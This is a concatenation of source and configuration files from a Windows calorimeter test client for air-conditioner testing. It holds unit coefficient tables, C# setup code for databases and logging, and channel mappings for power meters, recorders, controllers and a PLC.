Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =150.0
Nozzle3 =150.0
Nozzle4 =300.0
[Coefficient.ID12]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =5.0
Cooling_HLK_Duct1 =0.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =60.0
Nozzle3 =85.0
Nozzle4 =100.0
[Coefficient.ID21]
Airflow =1.0
CoolingCapacity =2.0
HeatingCapacity =3.0
Cooling_HLK =4.0
Heating_HLK =5.0
Cooling_HLK_Duct1 =6.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =100.0
Nozzle2 =125.0
Nozzle3 =150.0
Nozzle4 =150.0
[Coefficient.ID22]
Airflow =1.0
CoolingCapacity =1.0
HeatingCapacity =1.0
Cooling_HLK =4.0
Heating_HLK =4.0
Cooling_HLK_Duct1 =3.0
Heating_HLK_Duct1 =3.0
Cooling_HLK_Duct2 =4.5
Heating_HLK_Duct2 =4.5
Cooling_HLK_Duct3 =6.0
Heating_HLK_Duct3 =6.0
Cooling_HLK_Duct4 =7.5
Heating_HLK_Duct4 =7.5
Cooling_HLK_Duct5 =9.0
Heating_HLK_Duct5 =9.0
Nozzle1 =50.0
Nozzle2 =200.0
Nozzle3 =85.0
Nozzle4 =100.0
<file_sep>using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Data;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using Ulee.Controls;
namespace Hnc.Calorimeter.Client
{
public partial class CtrlDevicePlc : UlUserControlEng
{
public List<UlPanel> Views { get; private set; }
public CtrlDevicePlc()
{
InitializeComponent();
Initialize();
}
private void Initialize()
{
Views = new List<UlPanel>();
Views.Add(view1Panel);
Views.Add(view2Panel);
Views.Add(view3Panel);
Views.Add(view4Panel);
foreach (UlPanel panel in Views)
{
panel.Controls.Add(new CtrlPlcView());
}
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Net;
using System.Net.Sockets;
using Ulee.DllImport.Win32;
using Ulee.Utils;
namespace Hnc.Calorimeter.Client
{
public enum EClientState
{
Openning,
Running,
Closing
}
static public class Resource
{
private const string csConfigIniFName = @"..\..\Config\Hnc.Calorimeter.3R.Client.Config.Ini";
public const string csExcelOriginReport = @"..\..\Resource\Excel\PsychrometricDataSheet.LG.P14.xlsx";
public const string csDateFormat = "yyyy-MM-dd";
public const string csDateTimeFormat = "yyyy-MM-dd HH:mm:ss";
public const string Caption = "Calorimeter.Client";
public const int WM_TEST_NORMAL_TERMINATED = (Win32.WM_USER + 0);
public const int WM_TEST_ABNORMAL_TERMINATED = (Win32.WM_USER + 1);
public const int WM_TEST_VALUE_INSERT_DATABOOK = (Win32.WM_USER + 2);
static public UlBinSets BusySets { get; set; }
static public bool Busy
{
get
{
return (BusySets.Byte(0) == 0) ? false : true;
}
}
static public EClientState State { get; set; }
static public string Ip { get; private set; }
static public int UserNo { get; set; }
static public EUserAuthority Authority { get; set; }
static public UlIniFile Ini { get; private set; }
static public UlLogger TLog { get; private set; }
static public UlLogger ALog { get; private set; }
static public List<CalorimeterTestDatabase> TestDB { get; private set; }
static public CalorimeterViewDatabase ViewDB { get; private set; }
static public CalorimeterConfigDatabase ConfigDB { get; private set; }
static public CalorimeterClient Client { get; private set; }
static public NameTag Tag { get; private set; }
static public TestValue Variables { get; set; }
static public TestSettings Settings { get; set; }
static public FormClientMain MainForm { get; set; }
static public void Create()
{
BusySets = new UlBinSets(1);
State = EClientState.Openning;
//Ini = new UlIniFile(csConfigIniFName);
Ip = GetLocalIP();
UserNo = -1;
Authority = EUserAuthority.Viewer;
Tag = new NameTag(Ini);
//TLog = new UlLogger();
//TLog.Path = Ini.GetString("Log", "TotalPath");
//TLog.FName = Ini.GetString("Log", "TotalFileName");
//TLog.AddHead("NOTE");
//TLog.AddHead("ERROR");
//TLog.AddHead("EXCEPTION");
Client = new CalorimeterClient(Ini);
Settings = new TestSettings(Ini);
Settings.Load();
TestDB = new List<CalorimeterTestDatabase>();
TestDB.Add(new CalorimeterTestDatabase());
TestDB.Add(new CalorimeterTestDatabase());
TestDB.Add(new CalorimeterTestDatabase());
TestDB.Add(new CalorimeterTestDatabase());
for (int i = 0; i < 4; i++)
{
TestDB[i].Database = Ini.GetString("Database", "FileName");
TestDB[i].Open();
}
ViewDB = new CalorimeterViewDatabase();
ViewDB.Database = Ini.GetString("Database", "FileName");
ViewDB.Open();
ConfigDB = new CalorimeterConfigDatabase();
ConfigDB.Database = Ini.GetString("Database", "FileName");
ConfigDB.Open();
}
static public void CreateLogger()
{
Ini = new UlIniFile(csConfigIniFName);
TLog = new UlLogger();
TLog.Path = Ini.GetString("Log", "TotalPath");
TLog.FName = Ini.GetString("Log", "TotalFileName");
TLog.AddHead("NOTE");
TLog.AddHead("ERROR");
TLog.AddHead("EXCEPTION");
}
static public void Destroy()
{
for (int i = 0; i < 4; i++)
{
if (TestDB[i] != null)
{
TestDB[i].Close();
}
}
if (ViewDB != null)
{
ViewDB.Close();
}
if (ConfigDB != null)
{
ConfigDB.Close();
}
}
static private string GetLocalIP()
{
string localIP = "0.0.0.0";
IPHostEntry host = Dns.GetHostEntry(Dns.GetHostName());
foreach (IPAddress ip in host.AddressList)
{
if (ip.AddressFamily == AddressFamily.InterNetwork)
{
localIP = ip.ToString();
break;
}
}
return localIP;
}
}
public class NameTag
{
public NameTag(UlIniFile ini)
{
Thermos = new List<MeasureRow>();
Presses = new List<MeasureRow>();
string value = ini.GetString("Recorder", "Pressure");
string[] values = value.Split(new[] { ',' }, StringSplitOptions.None);
PressIndex = int.Parse(values[0]);
PressLength = int.Parse(values[1]);
value = ini.GetString("Recorder", "Thermocouple");
values = value.Split(new[] { ',' }, StringSplitOptions.None);
ThermoIndex = int.Parse(values[0]);
ThermoLength = int.Parse(values[1]);
int i = 1;
string key = $"Tag{i}";
string name = ini.GetString("TC.Tag", key);
while (string.IsNullOrWhiteSpace(name) == false)
{
Thermos.Add(new MeasureRow(null, "", name, i));
i++;
key = $"Tag{i}";
name = ini.GetString("TC.Tag", key);
}
i = 1;
key = $"Tag{i}";
name = ini.GetString("Press.Tag", key);
while (string.IsNullOrWhiteSpace(name) == false)
{
Presses.Add(new MeasureRow(null, "", name, i));
i++;
key = $"Tag{i}";
name = ini.GetString("Press.Tag", key);
}
}
public int ThermoIndex { get; private set; }
public int ThermoLength { get; private set; }
public List<MeasureRow> Thermos { get; private set; }
public int PressIndex { get; private set; }
public int PressLength { get; private set; }
public List<MeasureRow> Presses { get; private set; }
}
}
<file_sep>[Database]
FileName = D:\Database\Hnc\Firebird.2.5\Calorimeter.3R\Hnc.Calorimeter.3R.FDB
[Login]
UserNo =0
[Log]
TotalPath = ..\..\Log\Total
TotalFileName = Hnc.Calorimeter.Total
AlarmlPath = ..\..\Log\Alarm
AlarmFileName = Hnc.Calorimeter.Alarm
[Server]
ip = 127.0.0.1
port = 10101
[Listener]
LogPath = ..\..\Log\Listener
LogFileName = Hnc.Calorimeter.Listener
Logging = Event
[Sender]
LogPath = ..\..\Log\Sender
LogFileName = Hnc.Calorimeter.Sender
Logging = All
[Device]
FValueLength = 496
NValueLength = 16
[PowerMeter]
PM1 = WT310(A),P1
PM2 = WT310(B),P1
PM3 = WT333(150K),P3
PM4 = WT333(300K),P3
[Controller]
Ctrl1 = ID A DB (¡É),0,1
Ctrl2 = ID A WB (¡É),0,2
Ctrl3 = ID A ¥ÄP #1 (mmAq),0,3
Ctrl4 = ID A ¥ÄP #2 (mmAq),0,4
Ctrl5 = ID B DB (¡É),0,5
Ctrl6 = ID B WB (¡É),0,6
Ctrl7 = ID B ¥ÄP #1 (mmAq),0,7
Ctrl8 = ID B ¥ÄP #2 (mmAq),0,8
Ctrl9 = OD DB (¡É),0,9
Ctrl10 = OD WB (¡É),0,10
Ctrl11 = OD DP (¡É),0,11
Ctrl12 = VOLTAGE #1 (V),0,12
Ctrl13 = VOLTAGE #2 (V),0,13
[Recorder]
Rec1 = GM10-01
Pressure = 134,8
Thermocouple = 161,180
[Plc]
Plc1 = MasterK-01
[PM1.Channel]
CH1 = PM1.R.W
CH2 = PM1.R.V
CH3 = PM1.R.A
CH4 = PM1.R.Hz
CH5 = PM1.R.PF
CH6 = PM1.R.Wh
CH7 = PM1.S.W
CH8 = PM1.S.V
CH9 = PM1.S.A
CH10 = PM1.S.Hz
CH11 = PM1.S.PF
CH12 = PM1.S.Wh
CH13 = PM1.T.W
CH14 = PM1.T.V
CH15 = PM1.T.A
CH16 = PM1.T.Hz
CH17 = PM1.T.PF
CH18 = PM1.T.Wh
CH19 = PM1.Sigma.W
CH20 = PM1.Sigma.V
CH21 = PM1.Sigma.A
CH22 = PM1.Sigma.Hz
CH23 = PM1.Sigma.PF
CH24 = PM1.Sigma.Wh
CH25 = PM1.Integ.Time
[PM2.Channel]
CH1 = PM2.R.W
CH2 = PM2.R.V
CH3 = PM2.R.A
CH4 = PM2.R.Hz
CH5 = PM2.R.PF
CH6 = PM2.R.Wh
CH7 = PM2.S.W
CH8 = PM2.S.V
CH9 = PM2.S.A
CH10 = PM2.S.Hz
CH11 = PM2.S.PF
CH12 = PM2.S.Wh
CH13 = PM2.T.W
CH14 = PM2.T.V
CH15 = PM2.T.A
CH16 = PM2.T.Hz
CH17 = PM2.T.PF
CH18 = PM2.T.Wh
CH19 = PM2.Sigma.W
CH20 = PM2.Sigma.V
CH21 = PM2.Sigma.A
CH22 = PM2.Sigma.Hz
CH23 = PM2.Sigma.PF
CH24 = PM2.Sigma.Wh
CH25 = PM2.Integ.Time
[PM3.Channel]
CH1 = PM3.R.W
CH2 = PM3.R.V
CH3 = PM3.R.A
CH4 = PM3.R.Hz
CH5 = PM3.R.PF
CH6 = PM3.R.Wh
CH7 = PM3.S.W
CH8 = PM3.S.V
CH9 = PM3.S.A
CH10 = PM3.S.Hz
CH11 = PM3.S.PF
CH12 = PM3.S.Wh
CH13 = PM3.T.W
CH14 = PM3.T.V
CH15 = PM3.T.A
CH16 = PM3.T.Hz
CH17 = PM3.T.PF
CH18 = PM3.T.Wh
CH19 = PM3.Sigma.W
CH20 = PM3.Sigma.V
CH21 = PM3.Sigma.A
CH22 = PM3.Sigma.Hz
CH23 = PM3.Sigma.PF
CH24 = PM3.Sigma.Wh
CH25 = PM3.Integ.Time
[PM4.Channel]
CH1 = PM4.R.W
CH2 = PM4.R.V
CH3 = PM4.R.A
CH4 = PM4.R.Hz
CH5 = PM4.R.PF
CH6 = PM4.R.Wh
CH7 = PM4.S.W
CH8 = PM4.S.V
CH9 = PM4.S.A
CH10 = PM4.S.Hz
CH11 = PM4.S.PF
CH12 = PM4.S.Wh
CH13 = PM4.T.W
CH14 = PM4.T.V
CH15 = PM4.T.A
CH16 = PM4.T.Hz
CH17 = PM4.T.PF
CH18 = PM4.T.Wh
CH19 = PM4.Sigma.W
CH20 = PM4.Sigma.V
CH21 = PM4.Sigma.A
CH22 = PM4.Sigma.Hz
CH23 = PM4.Sigma.PF
CH24 = PM4.Sigma.Wh
CH25 = PM4.Integ.Time
[Rec1.Channel]
CH1 = ID11.Entering.DB
CH2 = ID11.Entering.WB
CH3 = ID11.Leaving.DB
CH4 = ID11.Leaving.WB
CH5 = ID11.Nozzle.Diff.Pressure
CH6 = ID11.Static.Pressure
CH7 = ID11.Nozzle.Inlet.Temp
CH8 = ID12.Entering.DB
CH9 = ID12.Entering.WB
CH10 = ID12.Leaving.DB
CH11 = ID12.Leaving.WB
CH12 = ID12.Nozzle.Diff.Pressure
CH13 = ID12.Static.Pressure
CH14 = ID12.Nozzle.Inlet.Temp
CH15 = ID1.Atm.Pressure
CH16 = ID21.Entering.DB
CH17 = ID21.Entering.WB
CH18 = ID21.Leaving.DB
CH19 = ID21.Leaving.WB
CH20 = ID21.Nozzle.Diff.Pressure
CH21 = ID21.Static.Pressure
CH22 = ID21.Nozzle.Inlet.Temp
CH23 = ID22.Entering.DB
CH24 = ID22.Entering.WB
CH25 = ID22.Leaving.DB
CH26 = ID22.Leaving.WB
CH27 = ID22.Nozzle.Diff.Pressure
CH28 = ID22.Static.Pressure
CH29 = ID22.Nozzle.Inlet.Temp
CH30 = ID2.Atm.Pressure
CH31 = OD.Entering.DB
CH32 = OD.Entering.WB
CH33 = OD.Entering.DP
CH34 = Pressure.1
CH35 = Pressure.2
CH36 = Pressure.3
CH37 = Pressure.4
CH38 = Pressure.5
CH39 = Pressure.6
CH40 = Pressure.7
CH41 = Pressure.8
CH42 = None.1
CH43 = None.2
CH44 = None.3
CH45 = None.4
CH46 = None.5
CH47 = None.6
CH48 = None.7
CH49 = None.8
CH50 = None.9
CH51 = None.10
CH52 = None.11
CH53 = None.12
CH54 = None.13
CH55 = None.14
CH56 = None.15
CH57 = None.16
CH58 = None.17
CH59 = None.18
CH60 = None.19
CH61 = ID1.TC.001
CH62 = ID1.TC.002
CH63 = ID1.TC.003
CH64 = ID1.TC.004
CH65 = ID1.TC.005
CH66 = ID1.TC.006
CH67 = ID1.TC.007
CH68 = ID1.TC.008
CH69 = ID1.TC.009
CH70 = ID1.TC.010
CH71 = ID1.TC.011
CH72 = ID1.TC.012
CH73 = ID1.TC.013
CH74 = ID1.TC.014
CH75 = ID1.TC.015
CH76 = ID1.TC.016
CH77 = ID1.TC.017
CH78 = ID1.TC.018
CH79 = ID1.TC.019
CH80 = ID1.TC.020
CH81 = ID1.TC.021
CH82 = ID1.TC.022
CH83 = ID1.TC.023
CH84 = ID1.TC.024
CH85 = ID1.TC.025
CH86 = ID1.TC.026
CH87 = ID1.TC.027
CH88 = ID1.TC.028
CH89 = ID1.TC.029
CH90 = ID1.TC.030
CH91 = ID1.TC.031
CH92 = ID1.TC.032
CH93 = ID1.TC.033
CH94 = ID1.TC.034
CH95 = ID1.TC.035
CH96 = ID1.TC.036
CH97 = ID1.TC.037
CH98 = ID1.TC.038
CH99 = ID1.TC.039
CH100 = ID1.TC.040
CH101 = ID1.TC.041
CH102 = ID1.TC.042
CH103 = ID1.TC.043
CH104 = ID1.TC.044
CH105 = ID1.TC.045
CH106 = ID1.TC.046
CH107 = ID1.TC.047
CH108 = ID1.TC.048
CH109 = ID1.TC.049
CH110 = ID1.TC.050
CH111 = ID1.TC.051
CH112 = ID1.TC.052
CH113 = ID1.TC.053
CH114 = ID1.TC.054
CH115 = ID1.TC.055
CH116 = ID1.TC.056
CH117 = ID1.TC.057
CH118 = ID1.TC.058
CH119 = ID1.TC.059
CH120 = ID1.TC.060
CH121 = ID2.TC.001
CH122 = ID2.TC.002
CH123 = ID2.TC.003
CH124 = ID2.TC.004
CH125 = ID2.TC.005
CH126 = ID2.TC.006
CH127 = ID2.TC.007
CH128 = ID2.TC.008
CH129 = ID2.TC.009
CH130 = ID2.TC.010
CH131 = ID2.TC.011
CH132 = ID2.TC.012
CH133 = ID2.TC.013
CH134 = ID2.TC.014
CH135 = ID2.TC.015
CH136 = ID2.TC.016
CH137 = ID2.TC.017
CH138 = ID2.TC.018
CH139 = ID2.TC.019
CH140 = ID2.TC.020
CH141 = ID2.TC.021
CH142 = ID2.TC.022
CH143 = ID2.TC.023
CH144 = ID2.TC.024
CH145 = ID2.TC.025
CH146 = ID2.TC.026
CH147 = ID2.TC.027
CH148 = ID2.TC.028
CH149 = ID2.TC.029
CH150 = ID2.TC.030
CH151 = ID2.TC.031
CH152 = ID2.TC.032
CH153 = ID2.TC.033
CH154 = ID2.TC.034
CH155 = ID2.TC.035
CH156 = ID2.TC.036
CH157 = ID2.TC.037
CH158 = ID2.TC.038
CH159 = ID2.TC.039
CH160 = ID2.TC.040
CH161 = ID2.TC.041
CH162 = ID2.TC.042
CH163 = ID2.TC.043
CH164 = ID2.TC.044
CH165 = ID2.TC.045
CH166 = ID2.TC.046
CH167 = ID2.TC.047
CH168 = ID2.TC.048
CH169 = ID2.TC.049
CH170 = ID2.TC.050
CH171 = ID2.TC.051
CH172 = ID2.TC.052
CH173 = ID2.TC.053
CH174 = ID2.TC.054
CH175 = ID2.TC.055
CH176 = ID2.TC.056
CH177 = ID2.TC.057
CH178 = ID2.TC.058
CH179 = ID2.TC.059
CH180 = ID2.TC.060
CH181 = OD.TC.001
CH182 = OD.TC.002
CH183 = OD.TC.003
CH184 = OD.TC.004
CH185 = OD.TC.005
CH186 = OD.TC.006
CH187 = OD.TC.007
CH188 = OD.TC.008
CH189 = OD.TC.009
CH190 = OD.TC.010
CH191 = OD.TC.011
CH192 = OD.TC.012
CH193 = OD.TC.013
CH194 = OD.TC.014
CH195 = OD.TC.015
CH196 = OD.TC.016
CH197 = OD.TC.017
CH198 = OD.TC.018
CH199 = OD.TC.019
CH200 = OD.TC.020
CH201 = OD.TC.021
CH202 = OD.TC.022
CH203 = OD.TC.023
CH204 = OD.TC.024
CH205 = OD.TC.025
CH206 = OD.TC.026
CH207 = OD.TC.027
CH208 = OD.TC.028
CH209 = OD.TC.029
CH210 = OD.TC.030
CH211 = OD.TC.031
CH212 = OD.TC.032
CH213 = OD.TC.033
CH214 = OD.TC.034
CH215 = OD.TC.035
CH216 = OD.TC.036
CH217 = OD.TC.037
CH218 = OD.TC.038
CH219 = OD.TC.039
CH220 = OD.TC.040
CH221 = OD.TC.041
CH222 = OD.TC.042
CH223 = OD.TC.043
CH224 = OD.TC.044
CH225 = OD.TC.045
CH226 = OD.TC.046
CH227 = OD.TC.047
CH228 = OD.TC.048
CH229 = OD.TC.049
CH230 = OD.TC.050
CH231 = OD.TC.051
CH232 = OD.TC.052
CH233 = OD.TC.053
CH234 = OD.TC.054
CH235 = OD.TC.055
CH236 = OD.TC.056
CH237 = OD.TC.057
CH238 = OD.TC.058
CH239 = OD.TC.059
CH240 = OD.TC.060
[Ctrl1.Channel]
CH1 = CTRL1.PV
CH2 = CTRL1.SV
CH3 = CTRL1.OUT
CH4 = CTRL1.Mode
CH5 = CTRL1.SPN
CH6 = CTRL1.P
CH7 = CTRL1.I
CH8 = CTRL1.D
CH9 = CTRL1.DEV
CH10 = CTRL1.BS
CH11 = CTRL1.FL
CH12 = CTRL1.MOUT
[Ctrl2.Channel]
CH1 = CTRL2.PV
CH2 = CTRL2.SV
CH3 = CTRL2.OUT
CH4 = CTRL2.Mode
CH5 = CTRL2.SPN
CH6 = CTRL2.P
CH7 = CTRL2.I
CH8 = CTRL2.D
CH9 = CTRL2.DEV
CH10 = CTRL2.BS
CH11 = CTRL2.FL
CH12 = CTRL2.MOUT
[Ctrl3.Channel]
CH1 = CTRL3.PV
CH2 = CTRL3.SV
CH3 = CTRL3.OUT
CH4 = CTRL3.Mode
CH5 = CTRL3.SPN
CH6 = CTRL3.P
CH7 = CTRL3.I
CH8 = CTRL3.D
CH9 = CTRL3.DEV
CH10 = CTRL3.BS
CH11 = CTRL3.FL
CH12 = CTRL3.MOUT
[Ctrl4.Channel]
CH1 = CTRL4.PV
CH2 = CTRL4.SV
CH3 = CTRL4.OUT
CH4 = CTRL4.Mode
CH5 = CTRL4.SPN
CH6 = CTRL4.P
CH7 = CTRL4.I
CH8 = CTRL4.D
CH9 = CTRL4.DEV
CH10 = CTRL4.BS
CH11 = CTRL4.FL
CH12 = CTRL4.MOUT
[Ctrl5.Channel]
CH1 = CTRL5.PV
CH2 = CTRL5.SV
CH3 = CTRL5.OUT
CH4 = CTRL5.Mode
CH5 = CTRL5.SPN
CH6 = CTRL5.P
CH7 = CTRL5.I
CH8 = CTRL5.D
CH9 = CTRL5.DEV
CH10 = CTRL5.BS
CH11 = CTRL5.FL
CH12 = CTRL5.MOUT
[Ctrl6.Channel]
CH1 = CTRL6.PV
CH2 = CTRL6.SV
CH3 = CTRL6.OUT
CH4 = CTRL6.Mode
CH5 = CTRL6.SPN
CH6 = CTRL6.P
CH7 = CTRL6.I
CH8 = CTRL6.D
CH9 = CTRL6.DEV
CH10 = CTRL6.BS
CH11 = CTRL6.FL
CH12 = CTRL6.MOUT
[Ctrl7.Channel]
CH1 = CTRL7.PV
CH2 = CTRL7.SV
CH3 = CTRL7.OUT
CH4 = CTRL7.Mode
CH5 = CTRL7.SPN
CH6 = CTRL7.P
CH7 = CTRL7.I
CH8 = CTRL7.D
CH9 = CTRL7.DEV
CH10 = CTRL7.BS
CH11 = CTRL7.FL
CH12 = CTRL7.MOUT
[Ctrl8.Channel]
CH1 = CTRL8.PV
CH2 = CTRL8.SV
CH3 = CTRL8.OUT
CH4 = CTRL8.Mode
CH5 = CTRL8.SPN
CH6 = CTRL8.P
CH7 = CTRL8.I
CH8 = CTRL8.D
CH9 = CTRL8.DEV
CH10 = CTRL8.BS
CH11 = CTRL8.FL
CH12 = CTRL8.MOUT
[Ctrl9.Channel]
CH1 = CTRL9.PV
CH2 = CTRL9.SV
CH3 = CTRL9.OUT
CH4 = CTRL9.Mode
CH5 = CTRL9.SPN
CH6 = CTRL9.P
CH7 = CTRL9.I
CH8 = CTRL9.D
CH9 = CTRL9.DEV
CH10 = CTRL9.BS
CH11 = CTRL9.FL
CH12 = CTRL9.MOUT
[Ctrl10.Channel]
CH1 = CTRL10.PV
CH2 = CTRL10.SV
CH3 = CTRL10.OUT
CH4 = CTRL10.Mode
CH5 = CTRL10.SPN
CH6 = CTRL10.P
CH7 = CTRL10.I
CH8 = CTRL10.D
CH9 = CTRL10.DEV
CH10 = CTRL10.BS
CH11 = CTRL10.FL
CH12 = CTRL10.MOUT
[Ctrl11.Channel]
CH1 = CTRL11.PV
CH2 = CTRL11.SV
CH3 = CTRL11.OUT
CH4 = CTRL11.Mode
CH5 = CTRL11.SPN
CH6 = CTRL11.P
CH7 = CTRL11.I
CH8 = CTRL11.D
CH9 = CTRL11.DEV
CH10 = CTRL11.BS
CH11 = CTRL11.FL
CH12 = CTRL11.MOUT
[Ctrl12.Channel]
CH1 = CTRL12.PV
CH2 = CTRL12.SV
CH3 = CTRL12.OUT
CH4 = CTRL12.Mode
CH5 = CTRL12.SPN
CH6 = CTRL12.P
CH7 = CTRL12.I
CH8 = CTRL12.D
CH9 = CTRL12.DEV
CH10 = CTRL12.BS
CH11 = CTRL12.FL
CH12 = CTRL12.MOUT
[Ctrl13.Channel]
CH1 = CTRL13.PV
CH2 = CTRL13.SV
CH3 = CTRL13.OUT
CH4 = CTRL13.Mode
CH5 = CTRL13.SPN
CH6 = CTRL13.P
CH7 = CTRL13.I
CH8 = CTRL13.D
CH9 = CTRL13.DEV
CH10 = CTRL13.BS
CH11 = CTRL13.FL
CH12 = CTRL13.MOUT
[Plc1.Channel]
CH1 = PLC1.1
CH2 = PLC1.2
CH3 = PLC1.3
CH4 = PLC1.4
CH5 = PLC1.5
CH6 = PLC1.6
CH7 = PLC1.7
CH8 = PLC1.8
CH9 = PLC1.9
CH10 = PLC1.10
CH11 = PLC1.11
CH12 = PLC1.12
CH13 = PLC1.13
CH14 = PLC1.14
CH15 = PLC1.15
CH16 = PLC1.16
[Constant.Channel]
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH1 = Total.Rated.Capacity,Capacity,kcal,0.0,false,false,Capacity
CH2 = Total.Rated.Power,Power,W,0.0,false,false,Power
CH3 = Total.Rated.EER_COP,EER_COP,kcal,0.000,false,false,EER_COP
CH4 = Total.Rated.Voltage,Voltage,V,0.0,false,false,Voltage
CH5 = Total.Rated.Current,Current,A,0.000,false,false,Current
CH6 = Total.Rated.Frequency,Frequency,Hz,0.00,false,false,Frequency
[Calculated.Channel]
;Name,UnitType,DefaultUnit,DisplayFormat,Save,Chart,Y-Axis
CH1 = Total.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH2 = Total.Power,Power,W,0.0,true,true,Power
CH3 = Total.Current,Current,A,0.000,true,true,Current
CH4 = Total.EER_COP,EER_COP,kcal,0.000,true,true,EER_COP
CH5 = Total.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH6 = Total.Power.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH7 = Total.EER_COP.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH8 = Total.Current.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH9 = Total.IDU.Power,Power,W,0.0,true,true,Power
CH10 = Total.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH11 = Total.IDU.Current,Current,A,0.000,true,true,Current
CH12 = Total.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH13 = Total.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH14 = Total.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH15 = Total.IDU.Integ.Time,Time,sec,0.00,false,false,Time
CH16 = Total.ODU.Power,Power,W,0.0,true,true,Power
CH17 = Total.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH18 = Total.ODU.Current,Current,A,0.000,true,true,Current
CH19 = Total.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH20 = Total.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH21 = Total.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH22 = Total.ODU.Integ.Time,Time,sec,0.00,false,false,Time
CH23 = ID1.IDU.Power,Power,W,0.0,true,true,Power
CH24 = ID1.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH25 = ID1.IDU.Current,Current,A,0.000,true,true,Current
CH26 = ID1.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH27 = ID1.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH28 = ID1.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH29 = ID1.IDU.Integ.Time,Time,sec,0.0,false,false,Time
CH30 = ID1.ODU.Power,Power,W,0.0,true,true,Power
CH31 = ID1.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH32 = ID1.ODU.Current,Current,A,0.000,true,true,Current
CH33 = ID1.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH34 = ID1.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH35 = ID1.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH36 = ID1.ODU.Integ.Time,Time,sec,0.0,false,false,Time
CH37 = ID2.IDU.Power,Power,W,0.0,true,true,Power
CH38 = ID2.IDU.Voltage,Voltage,V,0.0,true,true,Voltage
CH39 = ID2.IDU.Current,Current,A,0.000,true,true,Current
CH40 = ID2.IDU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH41 = ID2.IDU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH42 = ID2.IDU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH43 = ID2.IDU.Integ.Time,Time,sec,0.0,false,false,Time
CH44 = ID2.ODU.Power,Power,W,0.0,true,true,Power
CH45 = ID2.ODU.Voltage,Voltage,V,0.0,true,true,Voltage
CH46 = ID2.ODU.Current,Current,A,0.000,true,true,Current
CH47 = ID2.ODU.Frequency,Frequency,Hz,0.00,true,true,Frequency
CH48 = ID2.ODU.Power.Factor,Ratio,Percent,0.00,true,true,Ratio
CH49 = ID2.ODU.Integ.Power,PowerComsumption,Wh,0.0,true,true,PowerComsumption
CH50 = ID2.ODU.Integ.Time,Time,sec,0.0,false,false,Time
CH51 = OD.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH52 = OD.Sat.Dis.Temp1,Temperature,Celsius,0.00,true,true,Temperature
CH53 = OD.Sat.Suc.Temp1,Temperature,Celsius,0.00,true,true,Temperature
CH54 = OD.Sub.Cooling1,Temperature,Celsius,0.00,true,true,Temperature
CH55 = OD.Super.Heat1,Temperature,Celsius,0.00,true,true,Temperature
CH56 = OD.Sat.Dis.Temp2,Temperature,Celsius,0.00,true,true,Temperature
CH57 = OD.Sat.Suc.Temp2,Temperature,Celsius,0.00,true,true,Temperature
CH58 = OD.Sub.Cooling2,Temperature,Celsius,0.00,true,true,Temperature
CH59 = OD.Super.Heat2,Temperature,Celsius,0.00,true,true,Temperature
CH60 = ID11.Entering.RH,Ratio,Percent,0.00,true,true,Humidity
CH61 = ID11.Capacity,Capacity,kcal,0.0,true,true,Capacity
CH62 = ID11.Capacity.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH63 = ID11.Sensible.Heat,Capacity,kcal,0.0,true,true,Capacity
CH64 = ID11.Latent.Heat,Capacity,kcal,0.0,true,true,Capacity
CH65 = ID11.Sensible.Heat.Ratio,Ratio,Percent,0.00,true,true,Ratio
CH66 = ID11.Heat.Leakage,Capacity,kcal,0.0,true,true,Capacity
CH67 = ID11.Drain.Weight,Flux,kg_h,0.00,true,true,Flux
CH68 = ID11.Leaving.RH,Ratio,Percent,0.00,true,true,Ratio
CH69 = ID11.Entering.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
CH70 = ID11.Leaving.Enthalpy,Enthalpy,kcal,0.000,true,true,Enthalpy
